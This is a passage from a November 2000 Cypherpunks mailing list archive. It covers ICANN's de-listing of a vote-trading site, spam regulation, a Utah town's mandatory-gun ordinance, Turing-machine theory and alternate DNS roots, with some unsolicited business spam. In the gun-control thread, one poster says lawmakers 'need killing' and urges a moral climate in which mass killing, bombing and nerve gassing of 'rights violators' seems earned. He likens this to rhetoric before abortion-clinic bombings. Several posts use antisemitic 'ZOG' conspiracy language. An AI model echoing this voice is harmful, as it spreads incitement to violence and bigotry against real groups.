back, and they're currently usually mispronouncing the person whose dietary habits I'm also disparaging. :-) From rah at shipwright.com Sun Nov 5 09:09:52 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Sun, 5 Nov 2000 12:09:52 -0500 Subject: CDR: Great Flood Site Still in Question,But Ancient Ship Found Message-ID: --- begin forwarded text From jimdbell at home.com Sun Nov 5 12:15:26 2000 From: jimdbell at home.com (jim bell) Date: Sun, 5 Nov 2000 12:15:26 -0800 Subject: CDR: Re: [IFWP] Re: Ken Stubbs @ core deletes vote-auction.com References: Message-ID: <001501c04765$22ddbcc0$a6d11018@vncvr1.wa.home.com> ----- Original Message ----- From: Jim Dixon To: jim bell Cc: ; Tom Vogt ; ; Sent: Sunday, November 05, 2000 4:23 AM Subject: Re: [IFWP] Re: Ken Stubbs @ core deletes vote-auction.com > On Sat, 4 Nov 2000, jim bell wrote: > > ICANN needs to be taught a very painful lesson: "Even if you feel that you > > must obey a specific law, you must not do it without initiating a legal > > process and continuing it through any valid appeal. Given that the election > > was only a few days away, it is obvious that no such process would be > > completed before the point becomes moot. You screwed up." > > ICANN is a California corporation subject to state and US laws. It > has an obligation to obey those laws. I think that's a slight verbal distortion. It has an obligation to -not-violate- those laws. (Most laws can't be "obeyed", per se, because they don't order you to do anything.) I haven't seen any explanation as to why any law would require ICANN to "de-list" some vote-selling website even if everybody agreed that the violation of law was occurring. (And it's hard for me to imagine that either the US Congress or the California legislature would have been so net-savvy as to even anticipate the possibility of "de-listing" any site or the "need" for such an action, by going on and passing the laws to authorize this.) ICANN could easily take the position that until it is legally informed that a site was violating US or California law by the result of an actual trial, __AND___ the law actually required ICANN to de-list such violators, it would continue to list the site. Unfortunately (well, maybe just in this case) CP is not generally populated by people who are inclined to believe that the US and California actually do have such authority currently in law, so we're not likely to hear an attempt at a contrary opinion. ICANN is clearly obeying the illegal (non-legal? Not authorized by law, etc) wishes of pissed-off politicians who have no other remedy. > There is or should be no > question about this. ICANN is after all a legal fiction, a body > whose very existence rests upon the authority of the state of > California. Other entities, like churches for example, exist within California but aren't especially controlled by California law. ICANN probably "needs" no greater regulation than a church does: The building it's in will probably follow California building codes, and the people who work there will pay US and California taxes. But other than this, it is unclear why ICANN should even be controllable by California law? I think the telephone-directory analogy is appropriate. Competing telephone directories exist in many areas. If a company that publishes such a directory is told that one of the listees in that directory is currently violating the law, is that directory company obligated to remove that listing? I think the answer is obviously no. > The question is whether the domain name system, the IP address space, > and other fundamental Internet infrastructure should be subject > to US and California law. These are global, not local, resources. The current problem is far more egregious than merely being "subject to US and California law." I agree that once the problem of ICANN boot-licking the government officials is solved, there will still be the underlying problem of current and future claimed US and California jurisdiction. It will be necessary, for example, to prevent any legislature from passing laws which make the recent vote-buying-site de-listing possible under actual law. Jim Bell From ravage at einstein.ssz.com Sun Nov 5 10:22:46 2000 From: ravage at einstein.ssz.com (Jim Choate) Date: Sun, 5 Nov 2000 12:22:46 -0600 (CST) Subject: CDR: Re: AT&T signs bulk hosting contract with spammers In-Reply-To: <20001105131655.A5590@cluebot.com> Message-ID: On Sun, 5 Nov 2000, Declan McCullagh wrote: > Well, let's take this up one level of abstraction. We can stop spam > from flooding our inboxes (an economic bad) by: > 1. law "Congress shall make no law ...". > 2. AUPs with backbone providers/hosting services (industry self-regulation) I oppose these because I don't think some organization should have control of my speech simply because I purchase a service from them. If I buy, for example, a 128k ISDN line what the content of that 128k is most assuradely isn't my providers interest. It violates the spirit of the 1st. It is also clear that for any 'self-regulation' to be effective it must fall into one of two, and only, categories. The first is a traditional free market where the individuals make the decisionin in toto. The second is the traditional control economy (where there is 3rd party involved in the transaction). So, which sort of 'self-regulation' do you want, autarchic or socialist? Economics in general is not the way to set ethical standards. > 3. cypherpunkly end-user technology I obviously support anything an individual wishes to do with respect to making choices, provided they don't involve me without consent. This aspect should be pushed strongly. 4. social contracts (for those of anarchist and libertarian bent) Considering human psychology, not bloody likely. 5. technical standards (ala Open Source) Which raises the interesting point with respect to Lessig and his 'code is law' theory and the real power of Open Source standards. It provides a mechanism to prevent the exact sorts of scenarios that Lessig poses in his book. The Open Source community has an opportunity to keep the technical standards in the hands of the people and out of governmental influence. In the case of physical spam, there are resource limitations that simply aren't extant in a digital network. I believe that this distinction, under appreciated by almost all, is going to sink any attempts at really resolving this issue. I'm afraid we'll just have to live with spam, which means our primary protection is #3 above. To be honest, I don't think there is a lot of hope for the Open Source movement to be this effective with respect to 'Open' technical standards. Even though the cost of entry into the market is next to nil once the product is written. Put it on the primary distribution site and it goes out. I'm afraid this may be a case where the free market approach dies. My own view will be because of the economics of greed. It seems to me that most succesful open source authors do it because it helps their professional career. As a result the projects they work on will be strongly related to their professional interests as well. This, at least in my mind, is one of the primary reasons we don't see the level of innovation extant that is possible with this approach. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From jdd at vbc.net Sun Nov 5 04:23:23 2000 From: jdd at vbc.net (Jim Dixon) Date: Sun, 5 Nov 2000 12:23:23 +0000 (GMT) Subject: CDR: Re: [IFWP] Re: Ken Stubbs @ core deletes vote-auction.com In-Reply-To: <00e601c046eb$a78f0200$a6d11018@vncvr1.wa.home.com> Message-ID: On Sat, 4 Nov 2000, jim bell wrote: > > Nevertheless, what has happened here demonstrates a basic flaw at the > > heart of the domain name system. ICANN and many essential Internet > > resources remain subject to US jurisdiction. ICANN itself is just a > > California corporation, so it is subject to the passing whims of the > > California legislature as well as those of Congress, the executive > > branches, and various and sundry US state and federal courts. > > But that's not the whole problem, here. ICANN may be, arguably, subject to I didn't say that this was the whole problem. I said that it demonstrated a (one) basic flaw. On the other hand, I didn't say that the problem simply involved US law. In this case the problem seemed to be pressure from the executive branch. > "those laws," but it isn't clear that those laws (per se) were responsible > for the disconnection. Is there a law, somewhere, that said "anybody who we > determine appears to be violating the law in America, we 'unaddress' them > before they get a trial." That certainly isn't normal procedure: There > are probably over a thousand Internet Casinos who are (the thugs would > argue) in violation of some American law, yet they are still accessible to > us. There is a very large world outside of the United States. There is no reason why issues involving .UK, for example, should be subject to the jurisdiction of California courts. Britain is not a colony of the United States, nor is it a California county. Nor is there any justification for US government control over the allocation of IP address space within Europe. But when you look closely at ICANN, this is what you are getting. ICANN was supposed to replace IANA. IANA had a narrow technical role that depended upon voluntary cooperation. Having IANA arbitrate decisions about .UK actually worked, because IANA did not claim any ultimate legal authority. It was just obvious to everyone that if they didn't cooperate the Internet would not work. It may seem odd, but because IANA was gossamer thin, it had real power and legitimacy. ICANN doesn't and shouldn't. > ICANN needs to be taught a very painful lesson: "Even if you feel that you > must obey a specific law, you must not do it without initiating a legal > process and continuing it through any valid appeal. Given that the election > was only a few days away, it is obvious that no such process would be > completed before the point becomes moot. You screwed up." ICANN is a California corporation subject to state and US laws. It has an obligation to obey those laws. There is or should be no question about this. ICANN is after all a legal fiction, a body whose very existence rests upon the authority of the state of California. The question is whether the domain name system, the IP address space, and other fundamental Internet infrastructure should be subject to US and California law. These are global, not local, resources. -- Jim Dixon VBCnet GB Ltd http://www.vbc.net tel +44 117 929 1316 fax +44 117 927 2015 From tcmay at got.net Sun Nov 5 12:33:34 2000 From: tcmay at got.net (Tim May) Date: Sun, 5 Nov 2000 12:33:34 -0800 Subject: CDR: Applying California law to ICANN In-Reply-To: <001501c04765$22ddbcc0$a6d11018@vncvr1.wa.home.com> References: <001501c04765$22ddbcc0$a6d11018@vncvr1.wa.home.com> Message-ID: At 12:15 PM -0800 11/5/00, jim bell wrote: > >Other entities, like churches for example, exist within California but >aren't especially controlled by California law. ICANN probably "needs" no >greater regulation than a church does: The building it's in will probably >follow California building codes, and the people who work there will pay US >and California taxes. But other than this, it is unclear why ICANN should >even be controllable by California law? If companies and even health clubs are subjected to Calfornia's various laws about discrimination, hate crimes, and other political correctness issues, why would ICANN, a California corporation _not_ be subject to these various rules and regulations? (By including "health clubs," I don't mean building code or health regulations. I mean things like the law banning gyms from discriminating against women, though women-only clubs are still legal. The chick lawyers got this exemption put into law...something about "providing protected spaces for womyn." Many other examples abound of California law being used as an instrument of majoritarian herd rule politics.) It may well be that political activists discover this whole ICANN thing and realize they have a golden opportunity to have California laws applied to black/delist sites they dislike, organizations they think are racist, etc. The Southern Law Poverty Center, the Simon Wiesenthal Hate Center, and other ZOG-controlled commie organizations will likely be going into overtime. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From njohnson at interl.net Sun Nov 5 10:40:04 2000 From: njohnson at interl.net (Neil Johnson) Date: Sun, 5 Nov 2000 12:40:04 -0600 Subject: CDR: Re: Re: The Ant and the Grasshopper References: <200011051217.HAA20628@domains.invweb.net> Message-ID: <001d01c04757$d1441240$0100a8c0@nandts> Don't forget that the ants will probably infringe on the Grasshopper's copyrights (via the DMCA) if they try to develop their own song and dance routines :) Neil M. Johnson njohnson at interl.net http://www.interl.net/~njohnson PGP Key Finger Print: 93C0 793F B66E A0C7 CEEA 3E92 6B99 2DCC ----- Original Message ----- From: "William H. Geiger III" To: "Multiple recipients of list" Sent: Sunday, November 05, 2000 6:17 AM Subject: CDR: Re: The Ant and the Grasshopper > In , on 11/03/00 > at 06:49 PM, Mac Norton said: > > >right. And then W. comes along and wants to give the newly > >rich grasshopper a fat tax cut which the remaining ants > >don't get. Which is why grasshoppers usually vote > >Republican. Makes sense to me. > > Considering it is the grasshopper that is paying all the taxes it make > sense to me too. :) > > -- > --------------------------------------------------------------- > William H. Geiger III http://www.openpgp.net > Geiger Consulting > > Data Security & Cryptology Consulting > Programming, Networking, Analysis > > PGP for OS/2: http://www.openpgp.net/pgp.html > E-Secure: http://www.openpgp.net/esecure.html > --------------------------------------------------------------- > > From declan at well.com Sun Nov 5 09:55:22 2000 From: declan at well.com (Declan McCullagh) Date: Sun, 5 Nov 2000 12:55:22 -0500 Subject: CDR: Re: FW: BLOCK: AT&T signs bulk hosting contract with spammers In-Reply-To: <200011051211.HAA19955@domains.invweb.net>; from whgiii@openpgp.net on Sun, Nov 05, 2000 at 07:11:23AM -0500 References: <200011051211.HAA19955@domains.invweb.net> Message-ID: <20001105131655.A5590@cluebot.com> Well, let's take this up one level of abstraction. We can stop spam from flooding our inboxes (an economic bad) by: 1. law 2. AUPs with backbone providers/hosting services (industry self-regulation) 3. cypherpunkly end-user technology I oppose the first. I think the second is what the market is moving toward, in much the same way businesses won't let customers conduct DoS attacks from their networks. If spammers want to start their own backbone provider, they are free to do so. Nobody may route their packets, but that is a choice made by free people living in a free society. In order to make it economically attractive for AT&T to route their traffic, SpamBackbone may have to write a check. Or perhaps SpamBackbone (more likely) will cut a deal with AOL and MSN and spam their customers a certain numver of times, for a fee. This fee would presumably contribute toward keeping some AOL and Hotmail accounts "free" to users, or available at a lower cost than would be otherwise, with the concomitant price of spam. Preto! We've converted spam into advertising. The third option is perhaps the best, because it's more granular. It's certainly more cypherpunkly. But I think the second is consistent with anarcho-capitalist principles as well. -Declan On Sun, Nov 05, 2000 at 07:11:23AM -0500, William H. Geiger III wrote: > In , on 11/03/00 > at 05:20 PM, Tim May said: > > >Oh, I doubt AT&T has "learned the error of its ways." This is just their > >spin control. > > >Like Esther Dyson's spin control..."I won't let it happen again." > > >Until, of course, the next mass mailing to her "Dear Friends" goes out. > > > Am I the only one here that sees something terribly wrong? > > AT&T is the bad guy because they hosted a website of an alleged spamer? > AT&T may have seen the "error of their ways" because they are now > performing content based censorship by shutting down the same website (no > SPAM was being sent over their network)? Exactly how far down this > slippery slope should AT&T go? > > It is amazing how members of this list can go from cypherpunks to > censorpunks so easily, I guess SPAM is the root passphrase for some > members principles. > From diesel at istar.ca Sun Nov 5 09:20:51 2000 From: diesel at istar.ca (Douglas) Date: Sun, 5 Nov 2000 13:20:51 -0400 Subject: No subject Message-ID: <000801c0474c$c1083100$ed19ba89@istar> Douglas Diesels Limited of Nova Scotia, Canada Has been working on a project with cooperation with several other companies. This project includes construction and turn on of commuication cables at sea. The amount of time spent on this is 11 months to the day. Once the whole operation is up and running the shares will be taken to the Toronto Stock Exchange, We are in the process of creating a company called "Canber Communications", here in Canada. This company exsists of 100 million shares. So far up to date we have buyers for 14.5 million shares at $10.00 a share. However, we are trying to sell off 49 million preferred shares in total. We are looking for investors and people to help us find investors. If we can agree upon a reasonable commision we would be willing to give each broker a percentage of shares to sell. Anyone interested in doing business with us and would like more information on this must sign a non disscloure agreement. If interested let us know and we will forward the non disclosure agreement. Sincerely, Bruce Hatfield diesel at istar.ca -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 1571 bytes Desc: not available URL: From tcmay at got.net Sun Nov 5 13:32:13 2000 From: tcmay at got.net (Tim May) Date: Sun, 5 Nov 2000 13:32:13 -0800 Subject: CDR: Re: Here's an interesting twist on gun control ... In-Reply-To: References: Message-ID: At 3:37 PM -0500 11/5/00, Peter Capelli/Raleigh/Contr/IBM wrote: >http://www.cnn.com/2000/US/11/05/mandatory.guns.ap/index.html > > > > Utah town requires all households to own gun > > November 5, 2000 > Web posted at: 11:22 AM EST (1622 GMT) > > VIRGIN, Utah (AP) -- This tiny southern Utah town >has enacted an ordinance > requiring a gun and ammunition in every home for >residents' self-defense. > > Most of Virgin's 350 residents already own >firearms, so the initiative has lots of > support, Mayor Jay Lee said. > > Residents had expressed fear that their Second >Amendment right to bear arms > was under fire, so the town council modeled a >similar measure passed by a > Georgia city about 12 years ago. > > The mentally ill, convicted felons, conscientious >objectors and people who > cannot afford to own a gun are exempt. This has been done before. A town in Georgia, one in Ohio or Illinois, as I recall. t is just as unconstitutional to _require_ a gun as it is to _ban_ guns. The crap about "conscientious objector" is just that, crap. I shouldn't have to fill out some bullshit form to say I have conscientious objections to having a gun in my house. Government may no more require a gun in a house than it may require a television, or a telephone, or a toothbrush. Yes, I know the law is pure fluff, and hence is moot, a nullity, as they say. But the principle of _requiring_ a gun is just as foolish as the notion of banning guns. Frankly, those who pass such laws need killing just as much as the tens of thousands who are banning guns need killing. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From ravage at EINSTEIN.ssz.com Sun Nov 5 12:06:45 2000 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Sun, 5 Nov 2000 14:06:45 -0600 (CST) Subject: CDR: Re: Minesweeper and defeating modern encryption technology In-Reply-To: <3.0.5.32.20001104232342.02317550@idiom.com> Message-ID: On Sat, 4 Nov 2000, Bill Stewart wrote: > No - it gives you a direct solution that takes exponential time, > because there are exponentially many answers the thing could guess, > each of which takes a polynomial time to validate. > The "then a miracle occurs" step is that the NTM guesses the > _correct_ answer - that's why it's hypothetical, rather than real. There is no guarantee that a NDTM will guess the correct answer at any stage. The question the NDTM answers over a DTM is "Is there a statistical algorithm that is more efficient than a deterministic one?". The answer seems to be "No". It has been shows for example that a NDTM can address no additional languages over a DTM. But to address the point I was trying to make, Since at each step of a NDTM there are k choices in a space of n, k/n. Assuming the odds of any individual member of the set n being chosen is 1/n. So, if this probablity space grows faster than P then it must be NP. Even if the algorithm used to check the result is P itself. Since the average time to get the correct answer will be k/n there is no significant efficiency over simply steping through 1 to k which would be k/n (assuming the resources per n were 1/n). So, even if you have a P algorithm to test solutions with, there are still issues like 'solution space' that are not limited by the constraints of the solution algorithms P-ness. The problem can be made even more complicated by requiring that no potential answer is ever checked more than once. This requires a string matching operation that depending on syntax could be quite complicated, even NP itself. So, there are possibly three facets to P-ness: 1. Solution Algorithm resource use (effects both DTM & NDTM) 2. Solution space complexity (effects both) 3. String matching resource use (usualy only NDTM because the potential for re-issuing a solution using a RNG is always there since the odds are 1/n for each poll of the RNG.) ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From emc at chao.insync.net Sun Nov 5 14:41:41 2000 From: emc at chao.insync.net (Eric Cordian) Date: Sun, 5 Nov 2000 14:41:41 -0800 (PST) Subject: CDR: Applying California law to ICANN Message-ID: <200011052241.QAA82912@chao.insync.net> Tim May writes: > It may well be that political activists discover this whole ICANN > thing and realize they have a golden opportunity to have California > laws applied to black/delist sites they dislike, organizations they > think are racist, etc. > The Southern Law Poverty Center, the Simon Wiesenthal Hate Center, > and other ZOG-controlled commie organizations will likely be going > into overtime. DNS and the root servers are a single point of failure in the global Internet, and one that is easily pressured to delete pointers to speech that is deemed politically incorrect. It wouldn't surprise me in the least, if in the near future, sites deemed to be monkeywrenching the system wind up having to be addressed by numeric IPs, and even having their packets derouted. The Simon Wiesenthal Center's plans for the First Amendment can easily be seen in other countries, where they support the arrest and jailing of individuals for even suggesting that God's Chosen People might sometimes act collectively in their own enlightened self-interest. The US Government's plans for the First Amendment can be seen by the fact that they honor arrest warrants issued by foreign countries against such "speech criminals," and make arrests of foreign nationals for such "crimes" within US borders. -- Eric Michael Cordian 0+ O:.T:.O:. Mathematical Munitions Division "Do What Thou Wilt Shall Be The Whole Of The Law" From hall_tl at hotmail.com Sun Nov 5 13:44:34 2000 From: hall_tl at hotmail.com (Tammy Hall) Date: Sun, 5 Nov 2000 14:44:34 -0700 Subject: CDR: Sounds like the mark of the beast! Message-ID: Sounds like the mark of the beast! Read Revelation___________________________________________________________ Get more from your time online. FREE MSN Explorer download : http://explorer.msn.com -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 329 bytes Desc: not available URL: From pjcjr at us.ibm.com Sun Nov 5 12:37:11 2000 From: pjcjr at us.ibm.com (Peter Capelli/Raleigh/Contr/IBM) Date: Sun, 5 Nov 2000 15:37:11 -0500 Subject: CDR: Here's an interesting twist on gun control ... Message-ID: http://www.cnn.com/2000/US/11/05/mandatory.guns.ap/index.html Utah town requires all households to own gun November 5, 2000 Web posted at: 11:22 AM EST (1622 GMT) VIRGIN, Utah (AP) -- This tiny southern Utah town has enacted an ordinance requiring a gun and ammunition in every home for residents' self-defense. Most of Virgin's 350 residents already own firearms, so the initiative has lots of support, Mayor Jay Lee said. Residents had expressed fear that their Second Amendment right to bear arms was under fire, so the town council modeled a similar measure passed by a Georgia city about 12 years ago. The mentally ill, convicted felons, conscientious objectors and people who cannot afford to own a gun are exempt. Thanks! -p "Those who would give up essential liberty for temporary safety deserve neither liberty nor safety" - Benjamin Franklin, 1759 From dmolnar at hcs.harvard.edu Sun Nov 5 12:44:14 2000 From: dmolnar at hcs.harvard.edu (dmolnar) Date: Sun, 5 Nov 2000 15:44:14 -0500 (EST) Subject: CDR: Re: Minesweeper and defeating modern encryption technology In-Reply-To: Message-ID: On Sun, 5 Nov 2000, Jim Choate wrote: > > On Sat, 4 Nov 2000, Bill Stewart wrote: > > > No - it gives you a direct solution that takes exponential time, > > because there are exponentially many answers the thing could guess, > > each of which takes a polynomial time to validate. > > The "then a miracle occurs" step is that the NTM guesses the > > _correct_ answer - that's why it's hypothetical, rather than real. > > There is no guarantee that a NDTM will guess the correct answer at any > stage. The question the NDTM answers over a DTM is "Is there a statistical > algorithm that is more efficient than a deterministic one?". Um, the definition of "nondeterministic Turing machine" implies such a guarantee. You seem to be thinking of a probabilistic Turing machine - a machine which can flip coins and use the results in an algorithm. They are **not** the same thing. From canequin at juno.com Sun Nov 5 12:46:32 2000 From: canequin at juno.com (Beth Benard) Date: Sun, 5 Nov 2000 15:46:32 -0500 Subject: No subject Message-ID: <20001105.154634.-327245.0.canequin@juno.com> From bear at sonic.net Sun Nov 5 16:06:48 2000 From: bear at sonic.net (Ray Dillinger) Date: Sun, 5 Nov 2000 16:06:48 -0800 (PST) Subject: CDR: Re: Connie Chung fucks up & things are not as they seem.A good example of the tremen In-Reply-To: Message-ID: On Sat, 4 Nov 2000, Gary Jeffers wrote: >My fellow Cypherpunks, The following is interesting. > >On a live call-in TV talk show some two years ago, Ms. Chung responded with >a bit too much candor to a question as to what actually gets reported >publicly by the major news media, given the great number of stories and >items which come from the numerous sources of "raw" information. How are the >stories which get the attention of the media chosen and by whom? > >Connie Chung replied to the effect that it wasn't too hard to decide what >stories get aired--they just checked with Washington D.C. to see what had >been cleared for publication by the government. What network? What show? What date? Anybody ever see this? Anybody own a tape of it happening? Bear From tcmay at got.net Sun Nov 5 16:22:06 2000 From: tcmay at got.net (Tim May) Date: Sun, 5 Nov 2000 16:22:06 -0800 Subject: CDR: Re: Connie Chung fucks up & things are not as they seem.A good example of the tremen In-Reply-To: References: Message-ID: At 4:06 PM -0800 11/5/00, Ray Dillinger wrote: >On Sat, 4 Nov 2000, Gary Jeffers wrote: > >>My fellow Cypherpunks, The following is interesting. >> >>On a live call-in TV talk show some two years ago, Ms. Chung responded with >>a bit too much candor to a question as to what actually gets reported >>publicly by the major news media, given the great number of stories and >>items which come from the numerous sources of "raw" information. How are the >>stories which get the attention of the media chosen and by whom? >> >>Connie Chung replied to the effect that it wasn't too hard to decide what >>stories get aired--they just checked with Washington D.C. to see what had >>been cleared for publication by the government. > >What network? What show? What date? Anybody ever see this? >Anybody own a tape of it happening? > I heard the tapes were seized by the Gubment. Maury Povich did a story on this, called "My wife was kidnapped by the Fedz and sent to to a political re-education camp," but nobody took him seriously. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From jimdbell at home.com Sun Nov 5 16:23:10 2000 From: jimdbell at home.com (jim bell) Date: Sun, 5 Nov 2000 16:23:10 -0800 Subject: CDR: Re: Applying California law to ICANN References: <001501c04765$22ddbcc0$a6d11018@vncvr1.wa.home.com> Message-ID: <012a01c04787$bed28a80$a6d11018@vncvr1.wa.home.com> ----- Original Message ----- From: Tim May > It may well be that political activists discover this whole ICANN > thing and realize they have a golden opportunity to have California > laws applied to black/delist sites they dislike, organizations they > think are racist, etc. > > The Southern Law Poverty Center, the Simon Wiesenthal Hate Center, > and other ZOG-controlled commie organizations will likely be going > into overtime. The SPLC satisfies the description of "hate group" at least as much, and probably more so, than any of the groups that it catalogs and denigrates. Which suggests that ICANN should be contacted, with a demand that they de-list SPLC for the appropriate reasons. Naturally, they'll come back with all sorts of 1st-amendment reasons they shouldn't, all of which should have been applied to the vote-swap issue. Jim Bell From tcmay at got.net Sun Nov 5 17:03:07 2000 From: tcmay at got.net (Tim May) Date: Sun, 5 Nov 2000 17:03:07 -0800 Subject: CDR: Re: Here's an interesting twist on gun control ... In-Reply-To: References: Message-ID: At 7:35 PM -0500 11/5/00, Peter Capelli/Raleigh/Contr/IBM wrote: > Yes, while it would be unconstitutional for the federal government to >pass this law, how could it be unconstitutional as a local or state >statute? Something similar to requiring X number of smoke detectors per >square foot. While I don't agree that the 14th Amendment ("equal protection...") was needed, this is the basis for reminding states that they may not pass laws which are unconstitutional. Thus, Oregon may not pass a law banning Mormonism, even though the C. says "Congress shall make no law..." Further, every state agreed to uphold the U.S. Constitution upon entry (and perhaps as a condition of entry, though I'm not a C. expert on this) to the Union. It won't fly to say that while Congress may not ban guns, or require guns, that states and local jurisdictions are free to do thusly. As for smoke detectors, they fall in the same category as seat belts, helmets, and other such intrusions: unconstitutional, a "taking." While they may be _good ideas_, it is not the business of government to enter our homes in this way. Smoke detectors and wiring standards are, however, a long way away from banning guns, or requiring guns. Let's not get sidetracked into chestnuts like "If libertarians don't want government, how do roads get built?" There _are_ answers, but they require laying some groundwork. The point I was making is that those who think they can outsmart the gun banners by _requiring_ guns are giving ammunition to the banners. And are violating the Constitution. >Additionally, it does not mention a paperwork requirement for >not owning a gun. One becomes a violator of the law by not having a gun. One could mount a defense based on the C. issues, or the C.O. issues. This is what I meant by "paperwork." Well, we don't _need_ to justify to anyone why we don't have a television, or telephone, or computer, or rifle, or encyclopedia, or anything else "required" by some law. Think about it. > > While I admit it seems like a foolish law (akin to requiring a citizen >to vote), I hardly see how it would require 'a killing'. Also, given their >views, killing them may not be as easy as others who are unarmed. ;-) I make the point about "x needs killing" to help lay the moral groundwork. Just as preachers had been saying "abortion clinics are a scourge and should be bombed," and bombings then started, it helps if people start to think in terms of hundreds of thousands of rights violators having earned killing, bombing, and nerve gassing. Doesn't mean I plan to do it myself, any more than the preachers saying that killing abortionists is a moral act planned to do it themselves. It's about the moral issues. And changing the moral climate. Read "Unintended Consequences," by John Ross, for a fuller explication of this point. Crypto anarchy doesn't just mean erosion of government, it provides the means to carry the war for liberty into the belly of the beast. Unlike many, I've never hidden this basic point. Think about it. If this scares off some weak sisters, good. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From tcmay at got.net Sun Nov 5 17:06:13 2000 From: tcmay at got.net (Tim May) Date: Sun, 5 Nov 2000 17:06:13 -0800 Subject: CDR: Re: Roots servers on rise - ICANN's golden egg cracking (fwd) In-Reply-To: References: Message-ID: At 7:57 PM -0500 11/5/00, !dr.baptista wrote: >---------- Forwarded message ---------- >Date: Sun, 5 Nov 2000 18:34:04 -0500 (EST) >From: !Dr. Joe Baptista >Reply-To: orange at dns.list >To: list at ifwp.org >Cc: DOMAIN-POLICY at LISTS.NETSOL.COM, orange at dns.list, > NCDNHC >Subject: Roots servers on rise - ICANN's golden egg cracking > > >Last year alternate roots supported 0.3% of internet traffic. > >This year alternate roots are supporting 5.5% of internet traffic. > >The BIND study this year to date has ennumerated 60,513 dns (15% of >399,937 dns) of which 3,331 report they are using non-USG roots. > >In my opinion - this is significant. And it puts a whole new twist on the >song - what a difference a day makes. > This is indeed great news! I don't follow DNS/ICANN issues much, but it seems apparent that ICANN's heavy-handed, US-centric, politically correct, imperialist policies have backfired. Perhaps we should be _thanking_ Esther for this sabotage rather than criticizing her! --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From declan at well.com Sun Nov 5 14:45:02 2000 From: declan at well.com (Declan McCullagh) Date: Sun, 5 Nov 2000 17:45:02 -0500 Subject: CDR: Re: AT&T signs bulk hosting contract with spammers In-Reply-To: ; from ravage@einstein.ssz.com on Sun, Nov 05, 2000 at 12:22:46PM -0600 References: <20001105131655.A5590@cluebot.com> Message-ID: <20001105174502.A7907@cluebot.com> On Sun, Nov 05, 2000 at 12:22:46PM -0600, Jim Choate wrote: > > 2. AUPs with backbone providers/hosting services (industry self-regulation) > > I oppose these because I don't think some organization should have control > of my speech simply because I purchase a service from them. If I buy, for It would be part of the terms of service, aka the contract. It doesn't "violate the spirit of the 1st" (except for leftists) any more than a contract clause that says "thou shalt not launch DDoS attacks." If anything, by allowing private rules to flourish, it would expand the "spirit of the 1st." Finally, if you don't want your "speech controlled," take your business to a place that allows spammers. Similarly, if you want to publish racist or left-wing agitprop, I am under no obligation to allow you to use my printing press; take your business elsewhere. -Declan From tricosal at netvigator.com Sun Nov 5 01:45:48 2000 From: tricosal at netvigator.com (TRICOSAL) Date: Sun, 5 Nov 2000 17:45:48 +0800 Subject: TUNNEL CONNECTION BETWEEN DIVING TANK AND DEEP DIVING SIMULATOR I N CHINA-DSIGN & BUILD PROJECT Message-ID: <00ad01c0470d$34b1fa40$0300a8c0@t16> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Dear Sir, We are working on a very interesting project as per captioned one. We take liberty to ask you whether you are interested to take part in this particular project because you are a submarine builder. We are seeking your technical comment whether you are interest and able to DESIGN AND BUILD a CONNECTION TUNNEL SECTION for the captioned project. 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Regards James Wong Manager TRICOSAL LIMITED 4/F COMMERCIAL BUILDING 397 CHATHAM ROAD NORTH KOWLOON, HONG KONG, CHINA. GSM in HK: +852 9283 9030 Tel: +852 2773 6663 Fax: +852 2333 7894 -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBOiVYLkAhpS53eUNhEQL8lgCeIKVmCIJrZtWRaEZaA8W0fe5i0KsAnjys EBnAtkiWVzHuxWxKi0rDEBSe =Tkox -----END PGP SIGNATURE----- ------_=_NextPart_000_01C05A7B.A206856C-- From ravage at einstein.ssz.com Sun Nov 5 16:04:17 2000 From: ravage at einstein.ssz.com (Jim Choate) Date: Sun, 5 Nov 2000 18:04:17 -0600 (CST) Subject: CDR: Re: Minesweeper and defeating modern encryption technology In-Reply-To: Message-ID: On Sun, 5 Nov 2000, dmolnar wrote: > > There is no guarantee that a NDTM will guess the correct answer at any > > stage. The question the NDTM answers over a DTM is "Is there a statistical > > algorithm that is more efficient than a deterministic one?". > > Um, the definition of "nondeterministic Turing machine" implies such a > guarantee. You seem to be thinking of a probabilistic Turing machine - a > machine which can flip coins and use the results in an algorithm. > They are **not** the same thing. ??? A NDTM has a stage which if given correct input will cause the result to have one of several states (e.g. A Turing machine that holds both 